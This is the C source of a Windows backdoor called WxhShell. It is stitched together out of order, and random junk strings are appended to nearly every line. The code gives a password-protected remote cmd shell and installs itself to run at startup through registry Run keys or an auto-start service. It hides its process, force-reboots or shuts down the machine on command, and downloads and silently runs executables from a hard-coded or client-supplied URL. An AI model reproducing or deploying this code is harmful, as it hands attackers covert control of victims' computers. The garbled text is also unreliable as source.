    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CEq]B:[IC  
    else { 0Ida]H  
    closesocket(wsh); d@4!^vD;  
    ExitThread(0); #jx?uS  
    } * _l o;  
    break; X4G55]D$>  
    } %Nl(Y@dD*  
  // 关机 @e0skc  
  case 'd': { pe%)G6@G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ur(o&,  
    if(Boot(SHUTDOWN)) .6F3;bg R7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U3K<@r  
    else { h}>/Z3*  
    closesocket(wsh); =hOa 0X=  
    ExitThread(0); ZC*d^n]x.  
    } I<K/d  
    break; `>EvT7u  
    } 51ebE`  
  // 获取shell U(=9&c@]  
  case 's': { O9X:1>a@i  
    CmdShell(wsh); D>e\OfTR:  
    closesocket(wsh); l1Q+hz5"*U  
    ExitThread(0); 5l/l]  
    break; I 47GQho  
  } HHTsHb{7  
  // 退出 >m1V9A  
  case 'x': { (zDk68=v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Su$1 t  
    CloseIt(wsh); G?d,$NMo|  
    break; b ]&zDo|8  
    } F'$S!K58  
  // 离开 $jh>zf  
  case 'q': { )9*3^v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gNN" H#=2  
    closesocket(wsh); Q9xx/tUW  
    WSACleanup(); )$h9Y   
    exit(1); XJ~l5} y ]  
    break; 3t{leuO'  
        } lO:{tV  
  } &N_c-@2O  
  } K!c@aD:#  
eu]iwOc&p  
  // 提示信息 <bZm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NVqC|uEAF  
} akW3\(W}  
  } 6Su@a%=j  
"5JNXo,H  
  return; 8{Eo8L'V  
} n=o'ocdS)  
tm1UH 4  
// shell模块句柄 6Hbf9,vI  
int CmdShell(SOCKET sock) q VdC?A|  
{ Gb|}Su  
STARTUPINFO si; _<*GU@  
ZeroMemory(&si,sizeof(si)); 2 C]la  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %SO%{.}Z f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SKpPR;=q|:  
PROCESS_INFORMATION ProcessInfo; $dp#nyP  
char cmdline[]="cmd"; Wejwj/EU%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kTZx-7~  
  return 0; U%t/wq  
} 8{<[fZyC  
[&qbc#L  
// 自身启动模式 %;\G@q_p{  
int StartFromService(void) :6j :9lYL2  
{ *Z]WaDw  
typedef struct /4 LR0`A'  
{ 42>m,fb2[  
  DWORD ExitStatus; iqednk%  
  DWORD PebBaseAddress; [x<6v}fRn  
  DWORD AffinityMask; OW^2S_H5  
  DWORD BasePriority; iE^a%|?}  
  ULONG UniqueProcessId; V}|v!h[O8  
  ULONG InheritedFromUniqueProcessId; ? TT8|Os  
}   PROCESS_BASIC_INFORMATION; yb4tJu$  
ZutB_uW  
PROCNTQSIP NtQueryInformationProcess; #>:(#^Uu  
CSL{Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y /:T(tk$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $C05iD  
d$_q=ywc  
  HANDLE             hProcess; ?5yH'9zE  
  PROCESS_BASIC_INFORMATION pbi; sjzXJ`s  
{y:#'n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p=~h|(M|  
  if(NULL == hInst ) return 0; l/ rZcf8z  
xeHb89GnoQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lubs{-5lk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *Cnq2=A]A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^5 ^}MB%  
_rMT{q3  
  if (!NtQueryInformationProcess) return 0; 5':Gu}Vq  
8_IOJ]:w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hyOm9WU  
  if(!hProcess) return 0; .i+* #djx  
@v ~ Pwr!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <m>l-]  
PNJe&q0*  
  CloseHandle(hProcess); f>8B'%]  
;>Ca(Y2M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /iUUM t'  
if(hProcess==NULL) return 0; P YF.#@":&  
9y^kb+  
HMODULE hMod; !FB \h<6  
char procName[255]; %Nm @f'  
unsigned long cbNeeded; l7'{OB L  
o3F|#op  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ``|gcG  
o'eI(@{F=  
  CloseHandle(hProcess); G;Wkm|  
7V=MRf&xQ  
if(strstr(procName,"services")) return 1; // 以服务启动 EDHg'q  
F:;!) H*  
  return 0; // 注册表启动 !eR-Kor  
} g%\$ !b  
}(ma__Ao  
// 主模块 0F+ zG)G"  
int StartWxhshell(LPSTR lpCmdLine) /esVuz  
{ >:jM}*dnL  
  SOCKET wsl; -MrtliepW*  
BOOL val=TRUE; skI(]BDf  
  int port=0; $7UoL,N>  
  struct sockaddr_in door; /bmXDDYH4  
feI./E  
  if(wscfg.ws_autoins) Install(); Q54r?|'V  
';b3Mm #  
port=atoi(lpCmdLine); Z cm<Fw  
\L ]   
if(port<=0) port=wscfg.ws_port; CZyz;Jtk  
Har~MO?A  
  WSADATA data; D1X4|Q*SK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KZF0rW  
=naR{pI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NfTCp A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SE^j=1  
  door.sin_family = AF_INET; c~^CKgr~R9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j0iAU1~_VX  
  door.sin_port = htons(port); |DE%SVZB  
!/j,hO4Z4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w; 4jx(  
closesocket(wsl); iiX\it$s  
return 1; V uG?B{  
} :K~rvv\L7  
BTTLy^  
  if(listen(wsl,2) == INVALID_SOCKET) { <b d1  
closesocket(wsl); 8K0X[-hs8  
return 1; q^ a|wTC  
} D<U 9m3  
  Wxhshell(wsl); \ ]   
  WSACleanup(); 4M}|/?<Br  
+VCo$o  
return 0; 5@`F.F>"  
38c?^  
} y=AsgJ  
e}42/>}#D  
// 以NT服务方式启动 M{?.hq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |h&<_9  
{ "l@A[@R  
DWORD   status = 0; S&4+ e:K  
  DWORD   specificError = 0xfffffff; /!3ZWXY\  
D|d4:;7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7\A4vUI3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mC i[Ps  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .u1X+P7  
  serviceStatus.dwWin32ExitCode     = 0; ]~-*hOcQ4  
  serviceStatus.dwServiceSpecificExitCode = 0; x\hWyY6J[  
  serviceStatus.dwCheckPoint       = 0; '>j<yaD'  
  serviceStatus.dwWaitHint       = 0; }I]j&\  
n /QfdAg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q!6|lZB3  
  if (hServiceStatusHandle==0) return; &]P"48NT  
DY9fF4[9a  
status = GetLastError(); :{LAVMG&^  
  if (status!=NO_ERROR) 'LVn^TB_f&  
{ &E bI Op  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6M ^IwE  
    serviceStatus.dwCheckPoint       = 0; Ji;SY{~kv  
    serviceStatus.dwWaitHint       = 0; ' .B.V?7  
    serviceStatus.dwWin32ExitCode     = status; Q%ruQ#  
    serviceStatus.dwServiceSpecificExitCode = specificError; vUNisVA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 55.;+B5L *  
    return; } h[>U  
  } o=pt_!i/  
d%0+i/p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <i{K7}':  
  serviceStatus.dwCheckPoint       = 0; ''IoC j  
  serviceStatus.dwWaitHint       = 0; g"wxC@IR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &lAQ &  
} k$h [8l( <  
LVnHt}  
// 处理NT服务事件,比如:启动、停止 H@{Objh 1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4j> fI)FUW  
{ #(C/Cx54  
switch(fdwControl) ;U Yc  
{ `} =yG_!A  
case SERVICE_CONTROL_STOP: g \Wj+el}  
  serviceStatus.dwWin32ExitCode = 0; 9tn;L"#&N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #G_F`&  
  serviceStatus.dwCheckPoint   = 0; Sw)i1S9  
  serviceStatus.dwWaitHint     = 0; ncv7t|ZN  
  { Bv $UFTz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;7Y[c}V1^  
  } ) Qq'Wp3i  
  return; TyF{tuF  
case SERVICE_CONTROL_PAUSE: 2i\Q@h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 17}$=#SX  
  break; l&Z Sm  
case SERVICE_CONTROL_CONTINUE: =SAV|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dpwD8Q< U  
  break; !@G)$g=<  
case SERVICE_CONTROL_INTERROGATE: }j46L1T  
  break; .WvlaPK  
}; P z ?m>>#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 38~PWKt  
} %}q .cV  
V8hO8  
// 标准应用程序主函数 >3 l=*|9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %aU4,j^],o  
{ m9$a"$c  
)6{< i5nJ\  
// 获取操作系统版本 Nt]qVwUm'Y  
OsIsNt=GetOsVer(); #;[Bl=3(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q-nER<  
G?`-]FMO  
  // 从命令行安装 ;+ azeW ^  
  if(strpbrk(lpCmdLine,"iI")) Install(); nnwJ YEi  
c%z'xM  
  // 下载执行文件 8d!GZgC8R  
if(wscfg.ws_downexe) { Qzqc .T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a+`D'?z  
  WinExec(wscfg.ws_filenam,SW_HIDE);  PWH^=K  
} =E(#YCx  
Z) Wnow  
if(!OsIsNt) { `0bP0^w  
// 如果时win9x,隐藏进程并且设置为注册表启动 mN*?%t  
HideProc(); ;I}'}  
StartWxhshell(lpCmdLine); tdep|sD  
} cWMUj K/N  
else yto[8;)_  
  if(StartFromService()) [:h5}  
  // 以服务方式启动 ;HNq>/{  
  StartServiceCtrlDispatcher(DispatchTable); <8!  Tq  
else ;au*V5a%  
  // 普通方式启动 ,zhJY ?sk  
  StartWxhshell(lpCmdLine); 2N5`'  
e_.Gw"/Yl  
return 0; :^i^0dC  
} rh!;|xB|+  
7" 4z+w  
HeLG?6  
p@~ic#X  
=========================================== irbw'^;y  
>oGiIYq  
O^Q ,-=tA\  
c6&Q^p|CF  
"?3`  
!E2W\chi  
" ;),"M{"v  
Es!Q8.  
#include <stdio.h> k GHQ`h  
#include <string.h> jq-l5})h  
#include <windows.h> eF~dQ4RZ  
#include <winsock2.h> xwi\  
#include <winsvc.h> VwyVEZt  
#include <urlmon.h> *$,:m  
m&*JMA;^  
#pragma comment (lib, "Ws2_32.lib") d%_OT0Ei  
#pragma comment (lib, "urlmon.lib") s?2$ue&-f  
~g6 3qs  
#define MAX_USER   100 // 最大客户端连接数 g^7MMlY%  
#define BUF_SOCK   200 // sock buffer o*5U:'=5}  
#define KEY_BUFF   255 // 输入 buffer IgIYguQ   
q_V0+qH  
#define REBOOT     0   // 重启 PL X>-7@  
#define SHUTDOWN   1   // 关机 =-"c*^$]  
nhT-Ido  
#define DEF_PORT   5000 // 监听端口 v+G=E2Lhv  
;Hmp f0$  
#define REG_LEN     16   // 注册表键长度 L\%orLEmK  
#define SVC_LEN     80   // NT服务名长度 0hY{<^"Y  
v6GPS1:a  
// 从dll定义API W$0^(FH[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -0Cnp/Yj@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~q+hV+fa>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q>Qibr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g%nl!dgS  
h6~$/`&]b  
// wxhshell配置信息 [P~hjmJ(y  
struct WSCFG { OsqN B'X  
  int ws_port;         // 监听端口 eJ0?=u!x  
  char ws_passstr[REG_LEN]; // 口令 &V7M}@  
  int ws_autoins;       // 安装标记, 1=yes 0=no k(t}^50^j  
  char ws_regname[REG_LEN]; // 注册表键名 _oG&OJ@  
  char ws_svcname[REG_LEN]; // 服务名 bq>_qpr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =K\r-'V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *=AqM14 @  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fv74bC %  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =WIJ>#Go<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1vzb8.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #bX9Tu0  
*v ?m6R=)h  
}; n/~A`%E@  
zCv"]%  
// default Wxhshell configuration bi[IqU!9  
struct WSCFG wscfg={DEF_PORT, C;+h.;}<D  
    "xuhuanlingzhe", _ :Ag?2  
    1, e:'?*BYVg3  
    "Wxhshell", qpIC{'A.  
    "Wxhshell", ntFT>g{B  
            "WxhShell Service", iOAbaPN  
    "Wrsky Windows CmdShell Service", sEMQ  
    "Please Input Your Password: ", zcrY>t#l  
  1, V#REjsf,t-  
  "http://www.wrsky.com/wxhshell.exe", #@HF<'H}mu  
  "Wxhshell.exe" 6;'dUGvH  
    }; d?wc*N3  
rf~Y6U?7  
// 消息定义模块 d.UQW yLG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zk-.u}RBFG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w| `h[/,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; js iSg/  
char *msg_ws_ext="\n\rExit."; %yBB?cp+_  
char *msg_ws_end="\n\rQuit."; [e[<p\]  
char *msg_ws_boot="\n\rReboot..."; I9h ?;(  
char *msg_ws_poff="\n\rShutdown..."; `F<jLU^3  
char *msg_ws_down="\n\rSave to "; mKr h[nA  
h2ytS^  
char *msg_ws_err="\n\rErr!"; &xRo^iV?  
char *msg_ws_ok="\n\rOK!"; Q></`QWpoB  
Xtt ? ]  
char ExeFile[MAX_PATH]; wO?{?+I`q  
int nUser = 0; pRkP~ZISU  
HANDLE handles[MAX_USER]; )nL`H^  
int OsIsNt; fU=B4V4@  
8Nu=^[qwQM  
SERVICE_STATUS       serviceStatus; /xtq_*I1S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iQDx{m3]  
{|I;YDA  
// 函数声明 Z}$TKO*u  
int Install(void); )W/;=K  
int Uninstall(void); /1Ue?)g  
int DownloadFile(char *sURL, SOCKET wsh); DL$@?.?I  
int Boot(int flag); -py@DzK  
void HideProc(void); FEVEp  
int GetOsVer(void); Tg!m`9s+  
int Wxhshell(SOCKET wsl); ~e6Brq  
void TalkWithClient(void *cs); I(S`j[U  
int CmdShell(SOCKET sock); 4R18A=X  
int StartFromService(void); :oJ=iB'Zc  
int StartWxhshell(LPSTR lpCmdLine); ULMu19>  
I f\fLhM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;4Y%PV z~D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D$t k<{)oB  
:POj6j/  
// 数据结构和表定义 ^0/j0]O  
SERVICE_TABLE_ENTRY DispatchTable[] = ;L']e"G  
{ ZK>WW  
{wscfg.ws_svcname, NTServiceMain}, 5[c^TJ3  
{NULL, NULL} 0PlO(" ,a  
}; B95B|tU>.  
/!c${W!sY  
// 自我安装 ,^uEYT}j  
int Install(void) ]]zPq<b2  
{ z^T`x_mF  
  char svExeFile[MAX_PATH]; Q ]}Hd-  
  HKEY key; Lhqz\o  
  strcpy(svExeFile,ExeFile); Y1]n^  
rqY`8Ry2M  
// 如果是win9x系统,修改注册表设为自启动 =Xo =Qcr  
if(!OsIsNt) { I:mr}mv=i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C.FI~Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \B,(k<  
  RegCloseKey(key); Oil?JI Hq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZIQ [bE7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hEp(A8g)bQ  
  RegCloseKey(key); Z]B~{!W1  
  return 0; @nux9MX<9  
    } v%q0OX>9X"  
  } .ev?"!Vpp9  
} _H5o'>=  
else { J:Qa5MTWp  
Z'\h  
// 如果是NT以上系统,安装为系统服务 k |eBJ%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2AMo:Jqv  
if (schSCManager!=0) /Njd[= B  
{ 0tXS3+@n =  
  SC_HANDLE schService = CreateService ' ~8KSF*!p  
  ( .>WxDQIo  
  schSCManager, abyo4i5T  
  wscfg.ws_svcname, ; #&yn=^  
  wscfg.ws_svcdisp, XT4{Pe7{[P  
  SERVICE_ALL_ACCESS, Le\?+h42>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PpAu!2lt9  
  SERVICE_AUTO_START, x^y'P<ypw  
  SERVICE_ERROR_NORMAL, >U[j]V]  
  svExeFile, %^ !,t:d  
  NULL, Dy:|g1>  
  NULL, FY#C.mL  
  NULL, sG F aL  
  NULL, _no*k?o *  
  NULL ?vbvBu{a  
  ); ?!` /m|"  
  if (schService!=0) :51/29}  
  { V6@o]*  
  CloseServiceHandle(schService); K1M%!JKh)x  
  CloseServiceHandle(schSCManager); TA4!$7b$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2Eu`u!jhx  
  strcat(svExeFile,wscfg.ws_svcname); uC(V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0"f\@8r(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tM'P m   
  RegCloseKey(key); =Jyu4j *}  
  return 0; iMDM1}b  
    } Xg;}R:g '  
  } }khV'6"'|  
  CloseServiceHandle(schSCManager); ~ v|>xqWV  
} `u&Rsz&^  
} xD~5UER  
DK: o]~n  
return 1; q1d}{DU  
} [J?aD`{#O  
F^];U+J  
// 自我卸载 <+?7H\b  
int Uninstall(void) mc? Vq  
{ ;'#8tGv=  
  HKEY key; woGAf)vV#  
0"28'  
if(!OsIsNt) { 7`DBS^O]dG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $#9;)8J  
  RegDeleteValue(key,wscfg.ws_regname); .uMn0PE   
  RegCloseKey(key); o<pf#tifv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Avjnm  
  RegDeleteValue(key,wscfg.ws_regname); z`f($t[  
  RegCloseKey(key); l)1r+@) \  
  return 0; /rnu<Q#iH  
  } E/|To  
} l 3ko?k  
} -z)n?(pftm  
else { Z8K?  
_x(o*v[Pt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ch <[l8;K  
if (schSCManager!=0) "&G/T ?4  
{ pZqq]mHK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  KY$)#i  
  if (schService!=0) #P0&ewy  
  { Whm,F^  
  if(DeleteService(schService)!=0) { o$jLzE"  
  CloseServiceHandle(schService); uKUiV%p!  
  CloseServiceHandle(schSCManager); g| I6'K!<  
  return 0; $5aV:Z3P  
  } z[L8$7L  
  CloseServiceHandle(schService); !Prg_6 `  
  } v$?+MNks  
  CloseServiceHandle(schSCManager); Nfrw0b  
} 1WxK#c-)  
} $P/~rZ@M@  
PNgY >=Y  
return 1; l rlgz[  
} W$hx,VEy`  
&=] ~0$  
// 从指定url下载文件 Yg%I?  
int DownloadFile(char *sURL, SOCKET wsh) v&DI`xn~  
{  ]hk  
  HRESULT hr; tE<H|_{L  
char seps[]= "/"; K*K,}W&}  
char *token; D#cyOrzy  
char *file; RzE_K'M  
char myURL[MAX_PATH]; saBVgSd  
char myFILE[MAX_PATH]; iT3BF"ZqBO  
I_} SB|  
strcpy(myURL,sURL); CkOz  
  token=strtok(myURL,seps); c|e~BQdRw  
  while(token!=NULL) [%y';`( x  
  { .sha&  
    file=token; #rMlI3;  
  token=strtok(NULL,seps); 46_xyz3+  
  } _.tVSV p  
PUT=C1,OFR  
GetCurrentDirectory(MAX_PATH,myFILE); #+ 0M2Sa  
strcat(myFILE, "\\"); <J< {l  
strcat(myFILE, file); _S<3\%(0  
  send(wsh,myFILE,strlen(myFILE),0); #+Ir>GU  
send(wsh,"...",3,0); #L=x%8B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +%yfcyZ.  
  if(hr==S_OK) x kx^%3dV  
return 0; ey7 f9  
else +h|`/ &,  
return 1; _{I3i:f9X8  
+"\sc;6m.  
} fInb[  
HVR /7&g  
// 系统电源模块 ry`Ho8N  
int Boot(int flag) AifWf2$S  
{ <'y?KiphL  
  HANDLE hToken; i1ixi\P{0  
  TOKEN_PRIVILEGES tkp; 6tgt>\y  
]sf7{lVT  
  if(OsIsNt) { :%t U'w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~7*.6YnI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q/4J.j L  
    tkp.PrivilegeCount = 1; 9UdM`v)(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rK'L6o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =upeRY@u5  
if(flag==REBOOT) { u^@f&BIG]:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X9v.1s,  
  return 0; w1EXh  
} -; s|  
else { lk/n}bx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !#], hok8X  
  return 0; &N2N6&Ta/  
} EizKoHI-z  
  } (9''MlGd%  
  else { + nrbShV  
if(flag==REBOOT) { l+xX/A)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K -nF lPm\  
  return 0; ~ (|5/ p7t  
} d[@X%  
else { 9vuyv*-}e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g/ T   
  return 0; %". HaI]  
} [L3=x;U  
} 5;tD"/nz  
mitHT :%r2  
return 1; 8g@<d ^8@  
} 1OGx>J6  
sXLq*b?  
// win9x进程隐藏模块 ^bGNq X  
void HideProc(void) \pa"%c)  
{ ]R+mKUZ9  
?ZV/U!y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u 1J0$  
  if ( hKernel != NULL ) Ec!"O3%!M^  
  { .0zY}`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }^ApJS(FQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pNG:0  
    FreeLibrary(hKernel); 7Od -I*bt  
  } y;35WtDVb  
.[]r}[lU  
return; X&tF;<m^  
} Z;h t  
Q- cFtu-w  
// 获取操作系统版本 ((YMVe  
int GetOsVer(void) v [wb~uw\  
{ :}He\V  
  OSVERSIONINFO winfo; 7x"R3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +SP{hHa^  
  GetVersionEx(&winfo); m~iXl,r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8zZvht*  
  return 1; 3@etRd;]Kr  
  else ep!Rf:  
  return 0; H[6:_**?o  
} +F R0(T  
q$0*b]=E  
// 客户端句柄模块 Mo|;'+  
int Wxhshell(SOCKET wsl) nD_GL  
{ =:xW>@bh|  
  SOCKET wsh; +%+tr*04O  
  struct sockaddr_in client; KoOz#,()  
  DWORD myID; l.q&D< _  
vLv@&lMW  
  while(nUser<MAX_USER) kjTduZ/3 "  
{ u0JB\)(-/h  
  int nSize=sizeof(client); UFXaEl}R   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B{QBzx1L9c  
  if(wsh==INVALID_SOCKET) return 1; T;Lkaxsn  
5MroNr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H`*LBqDk  
if(handles[nUser]==0) EEEh~6?-e  
  closesocket(wsh); M1k{t%M+S  
else Kr?TxhUHd  
  nUser++; U\g/2dM  
  } F6|TP.VY_.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7o7)0l9!  
0eT(J7[ <  
  return 0; LoURC$lS  
} UE8kpa)cQ  
vDp8__^  
// 关闭 socket G"r1+#  
void CloseIt(SOCKET wsh) W,K;6TZhh  
{ JgxtlYjl  
closesocket(wsh); \Z?9{J  
nUser--; aZH:#lUlj  
ExitThread(0); bZ dNibN  
} W =D4r  
216RiSr*  
// 客户端请求句柄 TJ2=m 9Z  
void TalkWithClient(void *cs) n4O]8C'lW9  
{ k9<;woOBO  
35h 8O,Y  
  SOCKET wsh=(SOCKET)cs; +jAGGv^)  
  char pwd[SVC_LEN]; fW{(lPx  
  char cmd[KEY_BUFF]; oI?3<M^  
char chr[1]; B7VH<;Z  
int i,j; 9e<.lb^tP  
NpE*fR')  
  while (nUser < MAX_USER) { r)Ma3FL0;  
|J1$= s  
if(wscfg.ws_passstr) { vHgi <@u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <ykU6=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E~DQ-z  
  //ZeroMemory(pwd,KEY_BUFF); uu-PJTNZ  
      i=0; -"R2  
  while(i<SVC_LEN) { `68@+|#  
DEBB()6,  
  // 设置超时 2bv=N4ly  
  fd_set FdRead; evya7^,F  
  struct timeval TimeOut; 3$jT*OyG#  
  FD_ZERO(&FdRead); )cX*I gO  
  FD_SET(wsh,&FdRead); +vw\y  
  TimeOut.tv_sec=8; B~'vCuE  
  TimeOut.tv_usec=0; q}b dxa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "0V.V>-p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y8d]9sX{  
[meO[otb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Oq|amvC  
  pwd=chr[0]; 7LfAaj  
  if(chr[0]==0xd || chr[0]==0xa) { 2Sle#nw3  
  pwd=0; /,BD#|  
  break; zUt' QH7E.  
  } e|g5=2(Pr&  
  i++; g1;:KzVv  
    } zv|2:4H  
5 )A1\  
  // 如果是非法用户,关闭 socket 2+RUTOv/d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;"xfOzQ  
} ]l;o}+`G  
9)D6Nm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]RwpX ^ 1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |-b#9JQ[A  
ZAW^/bo<  
while(1) { 9# 23FK  
FXpJqlhNv  
  ZeroMemory(cmd,KEY_BUFF); TCMCK_SQL  
Oz w.siD  
      // 自动支持客户端 telnet标准   I!ED?n  
  j=0; jkQ*D(;p  
  while(j<KEY_BUFF) { k)i3   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W 6^5YH%  
  cmd[j]=chr[0]; ISzqEi  
  if(chr[0]==0xa || chr[0]==0xd) { :W"~ {~#?  
  cmd[j]=0; ?3/qz(bM  
  break; el&0}`K  
  } H/"-Z;0{  
  j++; vRznw&^E  
    } S:u:z=:r  
'I`&Yo~c9  
  // 下载文件 `oAW7q)~  
  if(strstr(cmd,"http://")) { zZ:>do\2  
